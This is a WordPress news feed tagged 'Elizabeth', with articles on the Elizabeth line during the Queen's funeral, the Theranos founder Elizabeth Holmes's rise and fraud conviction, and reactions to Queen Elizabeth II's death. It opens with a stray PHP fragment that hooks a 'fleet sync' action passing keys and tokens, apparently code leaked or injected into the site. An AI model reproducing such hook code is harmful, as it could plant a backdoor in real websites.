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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Elizabeth – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 19 Sep 2022 12:20:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Elizabeth – Brief News https://briefnews.eu 32 32 The $25 billion railway that’s named after Queen Elizabeth II has cheaper fares and a flower memorial to mark the day of her funeral https://briefnews.eu/the-25-billion-railway-thats-named-after-queen-elizabeth-ii-has-cheaper-fares-and-a-flower-memorial-to-mark-the-day-of-her-funeral/ https://briefnews.eu/the-25-billion-railway-thats-named-after-queen-elizabeth-ii-has-cheaper-fares-and-a-flower-memorial-to-mark-the-day-of-her-funeral/#respond Mon, 19 Sep 2022 12:20:59 +0000 https://briefnews.eu/the-25-billion-railway-thats-named-after-queen-elizabeth-ii-has-cheaper-fares-and-a-flower-memorial-to-mark-the-day-of-her-funeral/ Queen Elizabeth II marks the opening of London's Elizabeth line, which is named after her.
In May 2022, Queen Elizabeth II marked the opening of London's Elizabeth line.

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  • Alterations were made to London's Elizabeth line rail service on the day of Queen Elizabeth II's funeral.
  • These included off-peak fares, an extra hour of service, and the creation of a flower memorial.
  • Transport for London said it would announce a two-minute silence to passengers.
The Elizabeth line railway in London launched in May after 23 years of planning. It was named after Queen Elizabeth II, who died on September 8.

An Elizabeth line train.
The Elizabeth line train's design is sleek.

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Queen Elizabeth II made an appearance on May 17 at London's Paddington station, one of the main stops on the railway, to officially open the line. She learned how to add money to an Oyster travel card.

Queen Elizabeth visited the Elizabeth line for the first time last week.

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After Queen Elizabeth died, Transport for London (TfL) warned passengers about potential disruption to normal travel routes because of "unprecedented travel demand" on the day of Her Majesty's funeral.

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I commuted on the Elizabeth line, which cost $ 25 billion to build, on the morning of the Queen's funeral on Monday.

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It was so quiet in Paddington station that you could hear a pin drop. I saw two passengers dressed in formal black attire with hats and broaches, who appeared to be heading to an event related to the Queen's funeral.

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Flowers, cards, and handwritten notes sending wishes to the royal family had been placed under the official opening plaque in the station.

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The TfL commissioner, Andy Byford, wrote one of the notes, which said the team sent their "deepest condolences to King Charles III and the Royal Family on the passing of our Sovereign Lady, Her Majesty Queen Elizabeth II."

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It was no surprise that the Elizabeth line was so quiet, given that Monday was a public holiday due to the Queen's funeral. This meant that many businesses and workplaces were closed for the day.

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The screens in the glass paneling separating the platform and trains were lit up black with the royal cypher of ER, which stands for Elizabeth Regina.

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'ER' was also shown on the screens alongside the escalators.

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TfL said passengers will be charged off-peak fares for travel on Monday. That means a normal adult pay-as-you-go fare for a journey from London's Zone 1 to Zone 2 dropped from £3.20 to £2.60.

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The Elizabeth line is scheduled to run an extra hour on Monday until midnight between Paddington and Abbey Wood as visitors and tourists flock to the city for the funeral, per TfL. Hourly trains are set to operate overnight between Paddington and Reading, it added.

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TfL said a two-minute silence will take place on Monday at around 11.55 a.m. on the Elizabeth line and other services. Announcements will alert customers before the silence begins, while buses will pull over and switch engines off if safe to do so, per TfL.

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Apart from the Waterloo and City line, which was closed, a good service was expected on all tube lines on Monday. Green Park station, located next to Buckingham Palace, was only allowing people to exit.

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The empty trains and quiet stations made for a very somber commute from Paddington to Liverpool Street hours before the Queen's funeral. TfL said it expected services to become "extremely busy."

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  • Elizabeth Holmes dropped out of Stanford at 19 to start Theranos and grew its value to $ 9 billion.
  • Later, technology flaws were exposed, resulting in a months-long trial where Holmes was found guilty on three counts of wire fraud and one count of conspiracy.
  • Now, Holmes is requesting a new trial after a key witness claimed he felt bad about his testimony.

In 2014, blood-testing startup Theranos and its founder, Elizabeth Holmes, were on top of the world.

Back then, Theranos was a revolutionary idea thought up by a woman hailed as a genius who styled herself as a female Steve Jobs. Holmes was the world's youngest female self-made billionaire, and Theranos was one of Silicon Valley's unicorn startups, valued at an estimated $ 9 billion. 

But then it all came crashing down.

The shortcomings and inaccuracies of Theranos's technology were exposed, along with the role Holmes played in covering it all up. Holmes was ousted as CEO and charged with "massive fraud," and the company was forced to close its labs and testing centers, ultimately shuttering operations altogether.

As she awaited trial, Holmes reportedly found the time to get engaged — and married — to a hotel heir named Billy Evans.

Holmes has since been convicted of fraud in federal court. In January, jurors found Holmes guilty on three counts of wire fraud and one count of conspiracy to commit wire fraud. They found her not guilty on four other counts and failed to reach a unanimous verdict on the remaining three counts against her.

In July, Holmes' former romantic and business partner Ramesh "Sunny" Balwani, was also convicted of fraud. He was found guilty on all 12 fraud-related charges.

Since her conviction, Holmes has become the subject of a Hulu limited series, "The Dropout," based on the ABC News podcast of the same name. The show stars Amanda Seyfried as Holmes as it chronicles the meteoric rise and fall of Theranos and Holmes herself.

Holmes has asked the presiding judge in her case to overturn her conviction. In a filing on May 27, Holmes' attorneys argued evidence was "insufficient to sustain the convictions."

"Because no rational juror could have found the elements of wire fraud and conspiracy to commit wire fraud beyond a reasonable doubt on this record, the Court should grant Ms. Holmes' motion for judgment of acquittal," they wrote. 

In early September, a judge tentatively denied Holmes' request to overturn her fraud conviction. Since then, Holmes has also requested a new trial, alleging in court filings that a key witness showed up to her house and said he felt guilty that his testimony could have contributed to her conviction. 

Holmes' sentencing hearing is currently scheduled for October 17. 

Here's how Holmes went from precocious child, to ambitious Stanford dropout, to an embattled startup founder convicted of fraud: 

Elizabeth Holmes was born on February 3, 1984 in Washington, D.C. Her mom, Noel, was a Congressional committee staffer, and her dad, Christian Holmes, worked for Enron before moving to government agencies like USAID.

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Source: Elizabeth Holmes/Twitter, CNN, Vanity Fair

Holmes' family moved when she was young, from Washington, D.C. to Houston.

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Washington, D.C.

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When she was 7, Holmes tried to invent her own time machine, filling up an entire notebook with detailed engineering drawings. At the age of 9, Holmes told relatives she wanted to be a billionaire when she grew up. Her relatives described her as saying it with the "utmost seriousness and determination."

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Theranos CEO Elizabeth Holmes.

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Source: CBS News, Bad Blood: Secrets and Lies in a Silicon Valley Startup

Holmes had an "intense competitive streak" from a young age. She often played Monopoly with her younger brother and cousin, and she would insist on playing until the end, collecting the houses and hotels until she won. If Holmes was losing, she would often storm off. More than once, she ran directly through a screen on the door.

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Elizabeth Holmes, CEO of Theranos, attends a panel discussion during the Clinton Global Initiative's annual meeting in New York, September 29, 2015.

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Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

It was during high school that Holmes developed her work ethic, often staying up late to study. She quickly became a straight-A student, and even started her own business: she sold C++ compilers, a type of software that translates computer code, to Chinese schools.

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Source: Fortune, Bad Blood: Secrets and Lies in a Silicon Valley Startup

Holmes started taking Mandarin lessons, and part-way through high school, talked her way into being accepted by Stanford University’s summer program, which culminated in a trip to Beijing.

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Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Inspired by her great-great-grandfather Christian Holmes, a surgeon, Holmes decided she wanted to go into medicine. But she discovered early on that she was terrified of needles. Later, she said this influenced her to start Theranos.

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Source: San Francisco Business Times

Holmes went to Stanford to study chemical engineering. When she was a freshman, she became a "president's scholar," an honor which came with a $ 3,000 stipend to go toward a research project.

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STANFORD, CA – MAY 22: People ride bikes past Hoover Tower on the Stanford University campus on May 22, 2014 in Stanford, California. According to the Academic Ranking of World Universities by China's Shanghai Jiao Tong University, Stanford University ranked second behind Harvard University as the top universities in the world. UC Berkeley ranked third. (Photo by Justin Sullivan/Getty Images)

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Holmes spent the summer after her freshman year interning at the Genome Institute in Singapore. She got the job partly because she spoke Mandarin.

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An office worker walks along the Singapore River front during the lunch hour.

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As a sophomore, Holmes went to one of her professors, Channing Robertson, and said: "Let's start a company." With his blessing, she founded Real-Time Cures, later changing the company's name to Theranos. Thanks to a typo, early employees’ paychecks actually said "Real-Time Curses."

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Holmes soon filed a patent application for a "medical device for analyte monitoring and drug delivery," a wearable device that would administer medication, monitor patients' blood, and adjust the dosage as needed.

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Source: Fortune, US Patent Office

By the next semester, Holmes had dropped out of Stanford altogether, and was working on Theranos in the basement of a college house.

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Source: Wall Street Journal

Theranos's business model was based around the idea that it could run blood tests, using proprietary technology that required only a finger pinprick and a small amount of blood. Holmes said the tests would be able to detect medical conditions like cancer and high cholesterol.

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Theranos Chairman, CEO and Founder Elizabeth Holmes (L) and TechCrunch Writer and Moderator Jonathan Shieber speak onstage at TechCrunch Disrupt at Pier 48 on September 8, 2014 in San Francisco, California

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Holmes started raising money for Theranos from prominent investors like Oracle founder Larry Ellison and Tim Draper, the father of a childhood friend and the founder of prominent VC firm Draper Fisher Jurvetson. Theranos raised more than $ 700 million, and Draper has continued to defend Holmes.

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Investor Tim Draper (right).

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Holmes took investors' money on the condition that she wouldn't have to reveal how Theranos' technology worked. Plus, she would have final say over everything having to do with the company.

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Source: Vanity Fair

That obsession with secrecy extended to every aspect of Theranos. For the first decade Holmes spent building her company, Theranos operated in stealth mode. She even took three former Theranos employees to court, claiming they had misused Theranos trade secrets.

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Source: San Francisco Business Times

Holmes' attitude toward secrecy and running a company was borrowed from a Silicon Valley hero of hers: former Apple CEO Steve Jobs. Holmes started dressing in black turtlenecks like Jobs, decorated her office with his favorite furniture, and like Jobs, never took vacations.

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Steve Jobs.

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Source: Vanity Fair

Even Holmes's uncharacteristically deep voice may have been part of a carefully crafted image intended to help her fit in in the male-dominated business world. In ABC's podcast on Holmes called "The Dropout," former Theranos employees said the CEO sometimes "fell out of character," particularly after drinking, and would speak in a higher voice.

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Former U.S. President Bill Clinton and Elizabeth Holmes, CEO of Theranos, during the Clinton Global Initiative's annual meeting in New York.

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Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup, The Cut

Holmes was a demanding boss, and wanted her employees to work as hard as she did. She had her assistants track when employees arrived and left each day. To encourage people to work longer hours, she started having dinner catered to the office around 8 p.m. each night.

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Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

More behind-the-scenes footage of what life was like at Theranos was revealed in leaked videos obtained by the team behind the HBO documentary "The Inventor: Out for Blood in Silicon Valley." The more than 100 hours of footage showed Holmes walking around the office, scenes from company parties, speeches from Holmes and Balwani, and Holmes dancing to "U Can't Touch This" by MC Hammer.

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Theranos founder Elizabeth Holmes at the company's headquarters.

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Shortly after Holmes dropped out of Stanford at age 19, she began dating Theranos president and COO Sunny Balwani, who was 20 years her senior. The two met during Holmes' third year in Stanford’s summer Mandarin program, the summer before she went to college. She was bullied by some of the other students, and Balwani had come to her aid.

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Footage of Sunny Balwani presenting.

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Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Balwani became Holmes' No. 2 at Theranos despite having little experience. He was said to be a bully, and often tracked his employees' whereabouts. Holmes and Balwani eventually broke up in spring 2016 when Holmes pushed him out of the company.

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Sunny Balwani pictured in January 2019.

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Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

In 2008, the Theranos board decided to remove Holmes as CEO in favor of someone more experienced. But over the course of a two-hour meeting, Holmes convinced them to let her stay in charge of her company.

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As Theranos started to rake in millions of funding, Holmes became the subject of media attention and acclaim in the tech world. She graced the covers of Fortune and Forbes, gave a TED Talk, and spoke on panels with Bill Clinton and Alibaba's Jack Ma.

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Elizabeth Holmes with former President Bill Clinton, left, and Alibaba cofounder Jack Ma.

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Theranos quickly began securing outside partnerships. Capital Blue Cross and Cleveland Clinic signed on to offer Theranos tests to their patients, and Walgreens made a deal to open Theranos testing centers in their stores. Theranos also formed a secret partnership with Safeway worth $ 350 million.

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A Theranos testing center inside a Walgreens.

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Source: Wired, Business Insider

In 2011, Holmes hired her younger brother, Christian, to work at Theranos, although he didn’t have a medical or science background. Christian Holmes spent his early days at Theranos reading about sports online and recruiting his Duke University fraternity brothers to join the company. People dubbed Holmes and his crew the "Frat Pack" and "Therabros."

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Elizabeth Holmes and her brother, Christian.

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Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

At one point, Holmes was the world's youngest self-made female billionaire with a net worth of around $ 4.5 billion.

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Source: Forbes

Holmes was obsessed with security at Theranos. She asked anyone who visited the company’s headquarters to sign non-disclosure agreements before being allowed in the building, and had security guards escort visitors everywhere — even to the bathroom.

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Holmes hired bodyguards to drive her around in a black Audi sedan. Her nickname was "Eagle One." The windows in her office had bulletproof glass.

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Around the same time, questions were being raised about Theranos' technology. Ian Gibbons — chief scientist at Theranos and one of the company's first hires — warned Holmes that the tests weren't ready for the public to take, and that there were inaccuracies in the technology. Outside scientists began voicing their concerns about Theranos, too.

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Source: Vanity Fair, Business Insider

By August 2015, the FDA began investigating Theranos, and regulators from the government body that oversees laboratories found "major inaccuracies" in the testing Theranos was doing on patients.

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Source: Vanity Fair

By October 2015, Wall Street Journal reporter John Carreyrou published his investigation into Theranos's struggles with its technology. Carreyrou's reporting sparked the beginning of the company's downward spiral.

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Wall Street Journal reporter John Carreyrou.

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Source: Wall Street Journal

Carreyrou found that Theranos' blood-testing machine, named Edison, couldn't give accurate results, so Theranos was running its samples through the same machines used by traditional blood-testing companies.

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Source: Wall Street Journal

Holmes appeared on CNBC's "Mad Money" shortly after the WSJ published its story to defend herself and Theranos. "This is what happens when you work to change things, and first they think you're crazy, then they fight you, and then all of a sudden you change the world," Holmes said.

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Source: CNBC

By 2016, the FDA, Centers for Medicare & Medicaid Services, and SEC were all looking into Theranos.

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Source: Wall Street Journal, Wired

In July 2016, Holmes was banned from the lab-testing industry for two years. By October, Theranos had shut down its lab operations and wellness centers.

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Source: Business Insider

In March 2018, Theranos, Holmes, and Balwani were charged with "massive fraud" by the SEC. Holmes agreed to give up financial and voting control of the company, pay a $ 500,000 fine, and return 18.9 million shares of Theranos stock. She also isn't allowed to be the director or officer of a publicly traded company for 10 years.

Elizabeth Holmes

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Source: Business Insider

Despite the charges, Holmes was allowed to stay on as CEO of Theranos, since it's a private company. The company had been hanging on by a thread, and Holmes wrote to investors asking for more money to save Theranos. "In light of where we are, this is no easy ask," Holmes wrote.

Elizabeth Holmes

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Source: Business Insider

In Theranos' final days, Holmes reportedly got a Siberian husky puppy named Balto that she brought into the office. However, the dog wasn't potty trained, and would go to the bathroom inside the company's office and during meetings.

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A Siberian husky (not Holmes' dog).

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Source: Vanity Fair

In June 2018, Theranos announced that Holmes was stepping down as CEO. On the same day, the Department of Justice announced that a federal grand jury had charged Holmes, along with Balwani, with nine counts of wire fraud and two counts of conspiracy to commit wire fraud.

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Elizabeth Holmes, founder and CEO of Theranos, speaks at the Wall Street Journal Digital Live (WSJDLive) conference at the Montage hotel in Laguna Beach, California, October 21, 2015.

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Source: Business Insider, CNBC

Theranos sent an email to shareholders in September 2018 announcing that the company was shutting down. Theranos reportedly said it planned to spend the next few months repaying creditors with its remaining resources.

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Source: Wall Street Journal

Around the time Theranos' time was coming to an end, Holmes made her first public appearance alongside William "Billy" Evans, a 27-year-old heir to a hospitality property management company in California. The two reportedly first met in 2017, and were seen together in 2018 at Burning Man, the art festival in the Nevada desert.

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Source: Daily Mail

Holmes is said to wear Evans' MIT "signet ring" on a chain around her neck, and the couple reportedly posts photos "professing their love for each other" on a private Instagram account. Evans' parents are reportedly "flabbergasted" at their son's decision to marry Holmes.

Source: Vanity Fair, New York Post

It's unclear where Holmes and Evans currently reside, but they were previously living in a $ 5,000-a-month apartment in San Francisco until April 2019. The apartment was located just a few blocks from one of the city's top tourist attractions, the famously crooked block of Lombard Street.

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Lombard Place Apartments, where Holmes used to live.

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It was later reported that Holmes and Evans got engaged in early 2019, then married in June in a secretive wedding ceremony. Former Theranos employees were reportedly not invited to the wedding, according to Vanity Fair.

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Source: Vanity Fair, New York Post

Holmes' and Balwani's cases have since been separated.

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Source: Department of Justice, Business Insider

Besides the criminal case, Holmes was also involved in a number of civil lawsuits, including one in Arizona brought by former Theranos patients over inaccurate blood tests. The lawyers representing her in the Arizona case said in late 2019 they hadn't been paid over a year and asked to be removed from Holmes' legal team.

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Former Theranos CEO Elizabeth Holmes leaves after a hearing at a federal court.

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Source: Business Insider

Holmes' lawyers in the federal case had tried to get the government's entire case thrown out. In February 2020, Holmes caught a break after some of the charges against her were dropped when a judge ruled that some patients didn't suffer financial loss.

Elizabeth Holmes

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Source: Business Insider

Amid the coronavirus outbreak, Holmes' lawyers asked the judge in April 2020 to deem the case "essential" so the defense team could defy lockdown orders and continue to travel and meet face-to-face. The judge said he was "taken aback" by the defense's pleas to violate lockdown.

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Source: Business Insider

 

It soon become clear that the pandemic — and the health risks associated with assembling a trial in one — would make the July trial date unrealistic. Through hearings held on Zoom, the presiding judge initially pushed the trial back to October 2020 and later postponed it further to March 2021.

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Passengers wear masks as they walk through LAX airport.

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Source: Business Insider

 

In March 2021, Holmes requested another delay to the trial because she was pregnant. She asked to push back the trial to August 31, and her request was granted. Holmes reportedly gave birth to the child in July.

Elizabeth Holmes

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Source: Business Insider, CNBC

Heading into the trial, Holmes felt "wronged, like Salem-witch-trial wronged," says a person who used to work with her closely.

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Holmes, right, leaving the Robert F. Peckham Federal Building in San Jose, California with her defense team on May 4, 2021.

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The trial kicked off in September. In opening statements, prosecutors argued that, "Out of time and out of money, Elizabeth Holmes decided to lie." Meanwhile, the defense argued that although Theranos ultimately crumbled, "Failure is not a crime. Trying your hardest and coming up short is not a crime."

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Theranos founder Elizabeth Holmes arrives at the Robert F. Peckham Federal Building with her defense team on August 31, 2021 in San Jose, California.

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The list of possible witnesses for the trial named roughly 200 people, including the likes of Rupert Murdoch, Henry Kissinger, James Mattis, and Holmes herself.

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Theranos founder Elizabeth Holmes leaves the Robert F. Peckham U.S. Courthouse with her mother, Noel Holmes, during her trial.

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Source: Business Insider

In the end, the trial featured testimony from just over 30 witnesses.

Elizabeth Holmes trial sketch.

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Source: Business Insider

Over the course of 11 weeks, prosecutors called 29 witnesses to testify — including former Theranos employees, investors, patients, and doctors — before resting their case in November.

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Vicki Behringer

Source: Business Insider

 

The defense then began making its case, calling just three witnesses, including Holmes herself.

Theranos founder Elizabeth Holmes leaves the Robert F. Peckham Federal Building and U.S. Courthouse in San Jose, California

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On the stand, Holmes said Balwani emotionally and sexually abused her during their relationship.

Elizabeth Holmes, founder and former CEO of Theranos, arrives for motion hearing on Monday, November 4, 2019, at the U.S. District Court House inside Robert F. Peckham Federal Building in San Jose, California. And former Theranos COO Ramesh "Sunny' Balwani leaves the Robert F. Peckham U.S. Federal Court on June 28, 2019 in San Jose, California.

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Holmes testified that Balwani controlled what she ate and how her schedule looked, told her she had to "become a new Elizabeth" to succeed in business, and forced her to have sex with him when she didn't want to because "he would say that he wanted me to know he still loved me."

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Former Theranos COO Ramesh "Sunny' Balwani leaves the Robert F. Peckham U.S. Federal Court on June 28, 2019 in San Jose, California.

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Source: Business Insider

Holmes also admitted that she added some pharmaceutical companies' logos to Theranos' reports without authorization. Investors previously said they took some reassurance in those reports because, based on the logos, they thought major pharmaceutical companies had validated Theranos' technology. Holmes said she added the logos to convey that work was done in partnership with those companies, but in hindsight she wishes she had "done it differently."

Theranos founder and former CEO Elizabeth Holmes (L) walks with her mother Noel Holmes as they arrive for Elizabeth Holmes's trial at the Robert F. Peckham Federal Building on November 17, 2021 in San Jose, California.

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Holmes also acknowledged on the stand that she hid Theranos' use of modified commercial devices from investors. She said she did this because company counsel told her that alterations the company made to the machines were trade secrets and needed to be protected as such.

Theranos founder Elizabeth Holmes leaves after attending her fraud trial at federal court in San Jose, California, U.S. November 22, 2021

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Holmes spent seven days on the stand before the defense rested its case in early December.

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Theranos founder Elizabeth Holmes arrives to attend her fraud trial at federal court in San Jose, California, U.S., December 16, 2021.

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In closing arguments, prosecutors argued that Holmes "chose fraud over business failure" while the defense argued she was "building a business, not a criminal enterprise."

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Elizabeth Holmes walks into federal court in San Jose, Calif., Friday, Dec. 17, 2021.

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After 15 weeks of trial, Holmes' case headed to a jury of eight men and four women on December 17.

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Elizabeth Holmes, founder and former CEO of blood testing and life sciences company Theranos, leaves the courthouse with her husband Billy Evans after the first day of her fraud trial in San Jose, California on September 8, 2021.

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Jurors deliberated for a total of seven days over the next few weeks before telling the court on January 3 that they were deadlocked on three of the 11 charges against Holmes. The judge read off some jury instructions to the group in court before instructing them to go back and deliberate further.

Theranos founder Elizabeth Holmes is seen wearing a blue mask and gray sweater in a courthouse

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Hours later, the jury returned a mixed verdict for Holmes, finding her guilty on one count of conspiracy to defraud investors and three counts of wire fraud. They found her not guilty on four other counts and failed to reach a verdict on the remaining three counts.

Theranos founder and former CEO Elizabeth Holmes arrives for her trial at the Robert F. Peckham Federal Building on December 07, 2021 in San Jose, California. Holmes is facing charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood testing lab services.

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The counts Holmes was found guilty of were all related to investments; she wasn't convicted on any of the charges involving patients who received inaccurate test results.

Theranos founder and former CEO Elizabeth Holmes (C) and her mother Noel Holmes leave the Robert F. Peckham Federal Building on January 3, 2022 in San Jose, California.

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Holmes now faces the possibility of decades in prison. Each count carries a maximum 20-year prison sentence, a $ 250,000 fine, and a requirement to pay victims restitution.

FILE - Elizabeth Holmes, founder and CEO of Theranos, arrives at the federal courthouse for jury selection in her trial, Tuesday, Aug. 31, 2021, in San Jose, Calif. A Fortune magazine reporter whose story helped turn Holmes into a Silicon Valley sensation came to court Thursday, Nov. 18 to explain how he ended up feeling like a pawn in the entrepreneur's promotion of what she called a revolutionary blood-testing technology.

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Legal experts told Insider it's unlikely Holmes will get 20 years at sentencing, but she probably won't get off without serving any time either.

Theranos founder Elizabeth Holmes in a black suit jacket in a San Jose courtroom

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Holmes was not taken into custody following the verdict and will remain free until her sentencing on a $ 500,000 bond secured by property.

Theranos founder Elizabeth Holmes and her partner Billy Evans stand outside a courtroom with a crowd of people nearby

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Since the conviction, Holmes and Theranos have been the focus of a Hulu limited series, "The Dropout," based on the ABC News podcast of the same name.

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Amanda Seyfried in "The Dropout" (left); Elizabeth Holmes (right)

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Holmes is played by Amanda Seyfried in the dramatized series, which asks the question, "How did the world's youngest self-made female billionaire lose it all in the blink of an eye?"

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The show premiered March 3 and also stars Naveen Andrews as Balwani, Holmes' right-hand man at Theranos. Balwani's fraud trial began in March.

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Now, Holmes is pleading with a judge to toss her conviction.

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In a 24-page filing on May 27, Holmes' attorneys argued for her acquittal, saying the evidence was "insufficient to sustain the convictions."

Elizabeth Holmes and partner Billy Evans pause outside of federal court after she was found guilty on 4 of 11 accounts faced in her fraud trial in San Jose, California, January 3, 2022. - Fallen US biotech star Elizabeth Holmes was convicted on Monday of defrauding investors in her blood-testing startup Theranos, in a high-profile case seen as an indictment of Silicon Valley culture. Jurors took seven days of deliberations to reach their verdict, finding her guilty of four counts of tricking investors into pouring money into what she claimed was a revolutionary testing system.

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They wrote, "Because no rational juror could have found the elements of wire fraud and conspiracy to commit wire fraud beyond a reasonable doubt on this record, the Court should grant Ms. Holmes' motion for judgment of acquittal."

SAN JOSE, CA - DECEMBER 23: Billy Evans walks with his partner Theranos founder and former CEO Elizabeth Holmes and her mother Noel Holmes as they leave the Robert F. Peckham Federal Building on December 23, 2021 in San Jose, California. Jury deliberations continue in the Elizabeth Holmes fraud trial as she faces charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood-testing lab services.

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"Even if Ms. Holmes committed wire fraud against an investor (she did not) and even if Mr. Balwani committed wire fraud against an investor, that does not prove a conspiratorial agreement between them, nor does it prove that Ms. Holmes willfully joined any agreement," the attorneys continued in the filing.

SAN JOSE, CALIFORNIA - DECEMBER 17: Theranos founder and former CEO Elizabeth Holmes leaves the Robert F. Peckham Federal Building on December 17, 2021 in San Jose, California. Lawyers made their closing arguments in the Elizabeth Holmes fraud trial and the jury will begin deliberations. Holmes is facing charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood testing lab services.

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Such appeals are common in cases like these, and legal experts expected Holmes would try to get her conviction overturned.

SAN JOSE, CA - January 03: Theranos founder Elizabeth Holmes, center, and her family leave the Robert F. Peckham Federal Building and U.S. Courthouse after the jury found her guilty on four counts in San Jose, Calif., on Monday, Jan. 3, 2022. Holmes was found guilty of four counts of defrauding investors, each carrying a maximum penalty of 20 years in prison.

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The judge in Holmes' case set a hearing for July to weigh her request.

SAN JOSE, CA - DECEMBER 23: Billy Evans walks with his partner Theranos founder and former CEO Elizabeth Holmes and her mother Noel Holmes as they leave the Robert F. Peckham Federal Building on December 23, 2021 in San Jose, California. Jury deliberations continue in the Elizabeth Holmes fraud trial as she faces charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood-testing lab services.

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Meanwhile, Balwani was convicted on 12 fraud-related charges. The jury came back with a conviction after deliberating for five days.

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Both of them now await sentencing. Balwani's sentencing hearing is set for November 15. Holmes' sentencing date was originally slated for September 26, but it has since been delayed to October 17. No reason was provided for the delay.

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  • Former Secretary of State Hillary Clinton shared some of her memories with Queen Elizabeth II.
  • Clinton said she and the late Queen had privately remarked on being women leaders.
  • The late Queen's coffin was driven from Balmoral Castle to Edinburgh on Sunday.

Former Secretary of State Hillary Clinton shared her memories with Queen Elizabeth II as funeral processions have begun for the late monarch.

On CNN's "State of the Union" with Dana Bash on Sunday, Clinton said she and Queen Elizabeth II would sometimes share "wry" comments about being women leaders on an international stage.

"I can't say that I talked at any length. Sometimes, there would be a wry exchange about how, as a woman leader, you always had to have your hair done," Clinton said on Sunday. "Of course, she always looked perfect, unlike some of us. She had a sense of style that really stayed with her."

 

Clinton described the late Queen as a "symbol of a strong, stalwart woman leader."

"I knew that her sense of who she was and the role she played literally governed her life, from every second of it," Clinton said, adding that she heard an interesting statistic that nine out of 10 people alive in the world today were born after she became Queen Elizabeth took the throne.

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US President Bill Clinton and his wife Hillary talk with Queen Elizabeth II at Buckingham Palace in London on December 14, 2000.

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Clinton praised the Queen for her "devotion to duty and her sense of obligation" to her people. 

"But I also saw a more playful and somewhat funny and very, incredibly warm side of her as well," Clinton said. "All of the presidents, all of the prime ministers, everyone that she met, I think, saw that twinkle in her eye, and maybe were lucky enough to exchange pleasantries that went beyond just the official greetings."

Clinton added: "And that's how I felt. I felt very fortunate to see her in different settings over the time that I knew her as first lady and then secretary of state."

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  • Queen Elizabeth left behind a vast collection of jewels, tiaras, and brooches when she passed away on Thursday. 
  • Some of the items will remain part of the Crown Jewels on display at the Tower of London. 
  • Others are expected to be passed down to King Charles, Camilla, the queen consort, and newly named Princess of Wales Kate Middleton.

When King Charles III inherited a new title upon the death of his mother, Queen Elizabeth II, on Thursday, he also likely acquired her extensive jewel, crown, and brooch collection. 

Some of these items will remain part of the Crown Jewels, a collection of royal ceremonial objects on public display  at the Tower of London. However, the Queen's private collection — worth millions of US dollars and comprised of family heirlooms, gifts, and items purchased by the monarch herself — is expected to be passed down to members of the Windsor family, starting with King Charles. 

"It is likely that she would want to pass on items from her private collection to her loved ones," royal commentator Josh Rom told the New York Post. "The bulk of the collection will pass to Charles — with Camilla as his queen consort — and then Kate, so they may not be left anything big [in the will]."

According to Vanity Fair, the royal collection began during the reign of Queen Victoria in the 1800s, when the former monarch began collecting jewels as the British empire expansion. The collection continued to grow during the reign of Queen Mary, who amassed extravagant pieces during her world travels and through connections with jewelers and world leaders, Vanity Fair reported. 

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Newly named Princess of Wales Catherine, seen on her wedding day in 2011.

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Many of Queen Mary's jewels were gifted to her granddaughter, Queen Elizabeth II, who subsequently loaned out various pieces during her 70 years on the throne. Among them, the Cartier Halo tiara containing 1,000 diamonds, was worn by Kate Middleton at her wedding. Meghan Markle sported the Diamond Bandeau during her nuptials, the New York Post reported. 

Rom told the Post that it's likely the Queen will bequeath these crowns to the same family members who borrowed them, but he noted if they were left in her will, the recipients would be required to pay a 40% inheritance tax on them.

Given the value of some of these items, he said it might be in the best interest of the family to leave the items as part of the royal collection. 

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Queen Elizabeth II of England reigned for a record 70 years. She died Thursday at the age of 96.

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The passing of Queen Elizabeth II, the UK’s longest-serving monarch, signals the end of an era not just for Great Britain but for the world at large. That includes the global scientific and technological community. Over the course of her long reign, the queen bestowed various honors on several leaders in science and technology—her very own knights of the sci-tech table. We mark her passing with a select list of some of the most prominent scientists and technologists thus honored.

The technologists

Jony Ive

Apple CEO Tim Cook and chief design officer Jony Ive look at the new Mac Pro on June 3, 2019.

Apple CEO Tim Cook and chief design officer Jony Ive look at the new Mac Pro on June 3, 2019. (credit: Justin Sullivan/Getty Images)

Jony Ive has had a massive influence on the design of Apple products, most notably the distinctive looks of the iMac, Power Mac G4 Cube, iPod, iPhone, iPad, and MacBook. You can also blame his obsession with thinness for the problematic butterfly keyboard and the removal of the MagSafe power connector, HDMI port, and SD card readers from the MacBook. Nobody’s perfect.

Ive started his career at a London design firm called Tangerine, where he was charged with designing common household products like microwave ovens, toilets, drills, and toothbrushes. But he found the work frustrating, given that clients often didn’t share his streamlined modern tastes. After one such client rejected his design for a toilet and bidet, he decided to accept an offer to join Apple, even though it meant moving his family to the US. He had a rocky start and purportedly nearly quit. Steve Jobs convinced him to stay when Jobs returned to the company after his infamous 1985 ouster.

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  • Queen Elizabeth II died Thursday at 96, after a seven-decade reign.
  • Business leaders and personalities responded to the news.
  • Initial reactions included Microsoft cofounder Bill Gates and Amazon founder Jeff Bezos.
Jeff Bezos, founder and executive chairman of Amazon, paid his condolences.

Amazon Founder and CEO Jeff Bezos addresses the audience during a keynote session at the Amazon Re:MARS conference on robotics and artificial intelligence at the Aria Hotel in Las Vegas, Nevada on June 6, 2019.
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"I can think of no one who better personified duty," Bezos said. "My deepest condolences to all the Brits mourning her passing today."

Nick Clegg, president of global affairs at Meta and the UK's former deputy prime minister, said that her "stoicism and sense of duty was a calming and stabilising influence."

